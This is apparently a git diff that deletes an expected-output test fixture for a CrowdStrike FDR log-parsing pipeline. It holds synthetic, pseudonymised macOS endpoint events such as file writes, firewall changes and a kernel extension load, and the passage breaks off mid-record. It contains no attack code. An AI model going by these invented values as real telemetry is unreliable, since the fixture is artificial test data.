-{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json
deleted file mode 100644
index b4847a3eb2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json
+++ /dev/null
@@ -1,1764 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "25043379",
-                "ContextBaseFileName": "09e61",
-                "ContextProcessId": "128660005005330005",
-                "ContextTimeStamp": "2025-09-06T21:44:33.478Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileCategory": "1",
-                "IsOnRemovableDisk": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "902e0c3461e5e975df4227b1ce8919630d6d",
-                "name": "f1facdb9387bd66ffd9ef"
-            },
-            "device": {
-                "id": "b616fca617fa5819625542d9505100de"
-            },
-            "event": {
-                "action": "BZip2FileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "902e0c3461e5e975df4227b1ce8919630d6d|b616fca617fa5819625542d9505100de|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"09e61\",\"event_simpleName\":\"BZip2FileWritten\",\"ContextTimeStamp\":\"1757195073.478\",\"UserName\":\"4813\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"25043379\",\"ContextProcessId\":\"128660005005330005\",\"Size\":\"164\",\"ContextThreadId\":\"0\",\"aip\":\"216.160.83.56\",\"FileIdentifier\":\"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"f1facdb9387bd66ffd9ef\",\"EventOrigin\":\"1\",\"id\":\"902e0c3461e5e975df4227b1ce8919630d6d\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b616fca617fa5819625542d9505100de\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/836/3be7855d.bz2\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/715dc84/c86/836",
-                "extension": "bz2",
-                "inode": "ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a",
-                "name": "3be7855d.bz2",
-                "path": "/715dc84/c86/836/3be7855d.bz2",
-                "size": 164,
-                "type": "file"
-            },
-            "host": {
-                "id": "b616fca617fa5819625542d9505100de",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "BZip2FileWritten",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "b616fca617fa5819625542d9505100de",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "128660005005330005",
-                "name": "09e61",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "25043379"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "4813"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "4813"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "859328400",
-                "ContextProcessId": "807031761070052000",
-                "ContextTimeStamp": "2025-05-26T23:37:50.919Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "USN": "150410415",
-                "UnixMode": "905",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "46dbd0c61a79bcf29fba222797ace5754589",
-                "name": "0e25074caaed0b54119466642"
-            },
-            "device": {
-                "id": "38d08ba2d7184565619459d87ca92c8a"
-            },
-            "event": {
-                "action": "CriticalFileModified",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "46dbd0c61a79bcf29fba222797ace5754589|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"CriticalFileModified\",\"ContextTimeStamp\":\"1748302670.919\",\"GID\":\"0\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"807031761070052000\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"FileIdentifier\":\"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"UID\":\"0\",\"USN\":\"150410415\",\"event_platform\":\"Mac\",\"UnixMode\":\"905\",\"Entitlements\":\"86\",\"name\":\"0e25074caaed0b54119466642\",\"EventOrigin\":\"1\",\"id\":\"46dbd0c61a79bcf29fba222797ace5754589\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/812/4f8a2\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "file": {
-                "directory": "/715dc84/812",
-                "inode": "fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21",
-                "name": "4f8a2",
-                "path": "/715dc84/812/4f8a2",
-                "type": "file"
-            },
-            "host": {
-                "id": "38d08ba2d7184565619459d87ca92c8a",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "CriticalFileModified",
-            "observer": {
-                "address": [
-                    "2a02:cf40::1"
-                ],
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": [
-                    "2a02:cf40::1"
-                ],
-                "serial_number": "38d08ba2d7184565619459d87ca92c8a",
-                "version": "2c8b.4.daf5d9d.4f"
-            },
-            "process": {
-                "entity_id": "807031761070052000",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "859328400"
-                ],
-                "ip": [
-                    "2a02:cf40::1"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "65043379",
-                "ContextProcessId": "309000003380007780",
-                "ContextTimeStamp": "2025-09-13T16:35:42.026Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "3",
-                "TreeId": "586900090030000484",
-                "UnixMode": "105",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2e5060ef833ae51492bb2f2feaa9f0a52725",
-                "name": "b556b2f8c2fcc9d247c"
-            },
-            "device": {
-                "id": "f8e97b22125b280e944b0a3e95273005"
-            },
-            "event": {
-                "action": "FileCreateInfo",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2e5060ef833ae51492bb2f2feaa9f0a52725|f8e97b22125b280e944b0a3e95273005|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FileCreateInfo\",\"ContextTimeStamp\":\"1757781342.026\",\"GID\":\"45\",\"ConfigStateHash\":\"65043379\",\"ContextProcessId\":\"309000003380007780\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"UID\":\"213\",\"event_platform\":\"Mac\",\"TreeId\":\"586900090030000484\",\"UnixMode\":\"105\",\"Entitlements\":\"26\",\"name\":\"b556b2f8c2fcc9d247c\",\"EventOrigin\":\"3\",\"id\":\"2e5060ef833ae51492bb2f2feaa9f0a52725\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f8e97b22125b280e944b0a3e95273005\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052",
-                "extension": "reg-journal",
-                "name": "331ced6b.reg-journal",
-                "path": "/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal",
-                "type": "file"
-            },
-            "host": {
-                "id": "f8e97b22125b280e944b0a3e95273005",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FileCreateInfo",
-            "observer": {
-                "address": [
-                    "2a02:cf40::1"
-                ],
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": [
-                    "2a02:cf40::1"
-                ],
-                "serial_number": "f8e97b22125b280e944b0a3e95273005",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "309000003380007780",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "65043379"
-                ],
-                "ip": [
-                    "2a02:cf40::1"
-                ],
-                "user": [
-                    "213"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "group": {
-                    "id": "45"
-                },
-                "id": "213"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "600000970",
-                "ContextProcessId": "700001226457050500",
-                "ContextTimeStamp": "2025-11-11T16:15:09.496Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "16",
-                "EventOrigin": "45",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "da89f6e8e51680edc853caf65110cd0b6997",
-                "name": "d6b45f4ee5e3f0dc22415"
-            },
-            "device": {
-                "id": "688342f2ec2adb5c7a9da5d3fec0cf70"
-            },
-            "event": {
-                "action": "FirewallDisabled",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "da89f6e8e51680edc853caf65110cd0b6997|688342f2ec2adb5c7a9da5d3fec0cf70|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FirewallDisabled\",\"ContextTimeStamp\":\"1762877709.496\",\"ConfigStateHash\":\"600000970\",\"ContextProcessId\":\"700001226457050500\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"16\",\"name\":\"d6b45f4ee5e3f0dc22415\",\"EventOrigin\":\"45\",\"id\":\"da89f6e8e51680edc853caf65110cd0b6997\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"688342f2ec2adb5c7a9da5d3fec0cf70\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "688342f2ec2adb5c7a9da5d3fec0cf70",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FirewallDisabled",
-            "observer": {
-                "address": [
-                    "2a02:cf40::1"
-                ],
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": [
-                    "2a02:cf40::1"
-                ],
-                "serial_number": "688342f2ec2adb5c7a9da5d3fec0cf70",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "700001226457050500"
-            },
-            "related": {
-                "hash": [
-                    "600000970"
-                ],
-                "ip": [
-                    "2a02:cf40::1"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "859328400",
-                "ContextProcessId": "900268078000780315",
-                "ContextTimeStamp": "2025-05-11T11:25:53.829Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "46",
-                "EventOrigin": "45",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b6c44348e6ee1e39992118be1c7150fa6a2e",
-                "name": "07198adb48f191c84a38"
-            },
-            "device": {
-                "id": "38d08ba2d7184565619459d87ca92c8a"
-            },
-            "event": {
-                "action": "FirewallEnabled",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "b6c44348e6ee1e39992118be1c7150fa6a2e|38d08ba2d7184565619459d87ca92c8a|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"FirewallEnabled\",\"ContextTimeStamp\":\"1746962753.829\",\"ConfigStateHash\":\"859328400\",\"ContextProcessId\":\"900268078000780315\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.daf5d9d.4f\",\"event_platform\":\"Mac\",\"Entitlements\":\"46\",\"name\":\"07198adb48f191c84a38\",\"EventOrigin\":\"45\",\"id\":\"b6c44348e6ee1e39992118be1c7150fa6a2e\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"38d08ba2d7184565619459d87ca92c8a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "38d08ba2d7184565619459d87ca92c8a",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FirewallEnabled",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "38d08ba2d7184565619459d87ca92c8a",
-                "version": "2c8b.4.daf5d9d.4f"
-            },
-            "process": {
-                "entity_id": "900268078000780315"
-            },
-            "related": {
-                "hash": [
-                    "859328400"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "95043379",
-                "ContextProcessId": "160345220009000222",
-                "ContextTimeStamp": "2025-05-12T22:49:06.428Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "66",
-                "EventOrigin": "45",
-                "FirewallAction": "1",
-                "InterfaceAlias": "445",
-                "IsUnique": "1",
-                "LocalAddressIP4": [
-                    "216.160.83.56"
-                ],
-                "LocalAddressMaskIP4": "5452380700",
-                "NegateInterface": "0",
-                "NegateLocalAddress": "0",
-                "NegateRemoteAddress": "0",
-                "RemoteAddressMaskIP4": "7807212067",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "806ac88ec376c30a3ad5d58a509223d6a681",
-                "name": "dc265f862d44e408c3e76cd"
-            },
-            "destination": {
-                "address": "216.160.83.56",
-                "as": {
-                    "number": 209
-                },
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": "216.160.83.56"
-            },
-            "device": {
-                "id": "e49032362e42da0f07152b78718c7674"
-            },
-            "event": {
-                "action": "FirewallSetRuleIP4",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "806ac88ec376c30a3ad5d58a509223d6a681|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"445\",\"RemoteAddressMaskIP4\":\"7807212067\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"EventOrigin\":\"45\",\"LocalAddressMaskIP4\":\"5452380700\",\"id\":\"806ac88ec376c30a3ad5d58a509223d6a681\",\"Protocol\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"216.160.83.56\",\"event_simpleName\":\"FirewallSetRuleIP4\",\"ContextTimeStamp\":\"1747090146.428\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"160345220009000222\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"66\",\"name\":\"dc265f862d44e408c3e76cd\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"RemoteAddressIP4\":\"81.2.69.144\",\"ConnectionDirection\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "e49032362e42da0f07152b78718c7674",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FirewallSetRuleIP4",
-            "network": {
-                "community_id": "1:wvN/qwh5jrHmOHw4wJqiL5Fwle8=",
-                "direction": "inbound",
-                "iana_number": "0",
-                "transport": "hopopt"
-            },
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "e49032362e42da0f07152b78718c7674",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "160345220009000222"
-            },
-            "related": {
-                "hash": [
-                    "95043379"
-                ],
-                "ip": [
-                    "216.160.83.56",
-                    "81.2.69.144"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.144",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.144"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "15043379",
-                "ContextProcessId": "160345220009000222",
-                "ContextTimeStamp": "2025-06-13T07:50:51.624Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "76",
-                "EventOrigin": "45",
-                "FirewallAction": "1",
-                "IcmpCode": "1",
-                "IcmpType": "990",
-                "InterfaceAlias": "3d0df",
-                "IsUnique": "1",
-                "LocalAddressIP6": [
-                    "2a02:cf40::1"
-                ],
-                "LocalAddressMaskIP6": "0e83fa75cca53fdf",
-                "NegateInterface": "0",
-                "NegateLocalAddress": "0",
-                "NegateRemoteAddress": "0",
-                "RemoteAddressMaskIP6": "374708fff7719dd5",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "642c09f791082b5d83a09c110880c78938cf",
-                "name": "e1d442f5c46bbf234569aea"
-            },
-            "destination": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1"
-            },
-            "device": {
-                "id": "e49032362e42da0f07152b78718c7674"
-            },
-            "event": {
-                "action": "FirewallSetRuleIP6",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "642c09f791082b5d83a09c110880c78938cf|e49032362e42da0f07152b78718c7674|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"RemoteAddressIP6\":\"2a02:cf40::1\",\"FirewallAction\":\"1\",\"aip\":\"216.160.83.56\",\"NegateLocalAddress\":\"0\",\"InterfaceAlias\":\"3d0df\",\"event_platform\":\"Mac\",\"NegateInterface\":\"0\",\"IsUnique\":\"1\",\"RemoteAddressMaskIP6\":\"374708fff7719dd5\",\"LocalAddressMaskIP6\":\"0e83fa75cca53fdf\",\"EventOrigin\":\"45\",\"id\":\"642c09f791082b5d83a09c110880c78938cf\",\"Protocol\":\"62\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"FirewallSetRuleIP6\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"ContextTimeStamp\":\"1749801051.624\",\"IcmpCode\":\"1\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"160345220009000222\",\"IcmpType\":\"990\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"Entitlements\":\"76\",\"name\":\"e1d442f5c46bbf234569aea\",\"aid\":\"e49032362e42da0f07152b78718c7674\",\"NegateRemoteAddress\":\"0\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "e49032362e42da0f07152b78718c7674",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FirewallSetRuleIP6",
-            "network": {
-                "community_id": "1:/PXwsbY7C0EByZrDGqpoxSqF9J8=",
-                "direction": "outbound",
-                "iana_number": "62"
-            },
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "e49032362e42da0f07152b78718c7674",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "160345220009000222"
-            },
-            "related": {
-                "hash": [
-                    "15043379"
-                ],
-                "ip": [
-                    "216.160.83.56",
-                    "2a02:cf40::1"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40::1",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::1"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "BundleID": "a225ed06f58fec3fe735872464c",
-                "ConfigStateHash": "15043379",
-                "ContextProcessId": "472050110452005020",
-                "ContextTimeStamp": "2025-11-03T19:33:14.892Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "5f985f71b43f37edc3c06b1c67f8acf263c1",
-                "name": "3304452f50b3f"
-            },
-            "device": {
-                "id": "c93c143eed37653b54c326dd22e114b8"
-            },
-            "event": {
-                "action": "load",
-                "category": [
-                    "driver"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "5f985f71b43f37edc3c06b1c67f8acf263c1|c93c143eed37653b54c326dd22e114b8|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1762198394.892\",\"ConfigStateHash\":\"15043379\",\"ContextProcessId\":\"472050110452005020\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"BundleID\":\"a225ed06f58fec3fe735872464c\",\"Entitlements\":\"86\",\"name\":\"3304452f50b3f\",\"EventOrigin\":\"1\",\"id\":\"5f985f71b43f37edc3c06b1c67f8acf263c1\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c93c143eed37653b54c326dd22e114b8\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "c93c143eed37653b54c326dd22e114b8",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "KextLoad",
-            "observer": {
-                "address": [
-                    "2a02:cf40::1"
-                ],
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": [
-                    "2a02:cf40::1"
-                ],
-                "serial_number": "c93c143eed37653b54c326dd22e114b8",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "472050110452005020",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "15043379"
-                ],
-                "ip": [
-                    "2a02:cf40::1"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "55043379",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "InDiscards": "0",
-                "InErrors": "0",
-                "InMulticastPkts": "36300760",
-                "InOctets": "5401980300",
-                "InUcastPkts": "80890102",
-                "InUnknownProtos": "0",
-                "InterfaceAlias": "445",
-                "InterfaceIndex": 8,
-                "InterfaceType": "6",
-                "LocalAddressIP4": [
-                    "81.2.69.142"
-                ],
-                "LocalIpAddressPipelineSource": "6",
-                "NetLuidIndex": 0,
-                "OutErrors": "0",
-                "OutMulticastPkts": "0",
-                "OutOctets": "3000000600",
-                "OutUcastPkts": "46360000",
-                "PhysicalAddressLength": 6,
-                "PrefixLength": "52",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f0d3d878ef1a02ab86680075a0eda18b56e9",
-                "name": "1b1a40a16643c4d9d9ad13"
-            },
-            "device": {
-                "id": "3bec845649acaaa1eb41d1ad4a804a38"
-            },
-            "event": {
-                "action": "LocalIpAddressIP4",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f0d3d878ef1a02ab86680075a0eda18b56e9|3bec845649acaaa1eb41d1ad4a804a38|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"OutOctets\":\"3000000600\",\"CreationTimeStamp\":\"-11724671741.249\",\"aip\":\"81.2.69.192\",\"OutMulticastPkts\":\"0\",\"InErrors\":\"0\",\"InterfaceAlias\":\"445\",\"InDiscards\":\"0\",\"InterfaceIndex\":\"8\",\"event_platform\":\"Mac\",\"InterfaceType\":\"6\",\"EventOrigin\":\"1\",\"id\":\"f0d3d878ef1a02ab86680075a0eda18b56e9\",\"PhysicalAddressLength\":\"6\",\"InUcastPkts\":\"80890102\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"55043379\",\"PhysicalAddress\":\"b9-55-b4-6e-3e-c8\",\"PrefixLength\":\"52\",\"OutErrors\":\"0\",\"InUnknownProtos\":\"0\",\"OutUcastPkts\":\"46360000\",\"InMulticastPkts\":\"36300760\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"InOctets\":\"5401980300\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"1b1a40a16643c4d9d9ad13\",\"aid\":\"3bec845649acaaa1eb41d1ad4a804a38\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
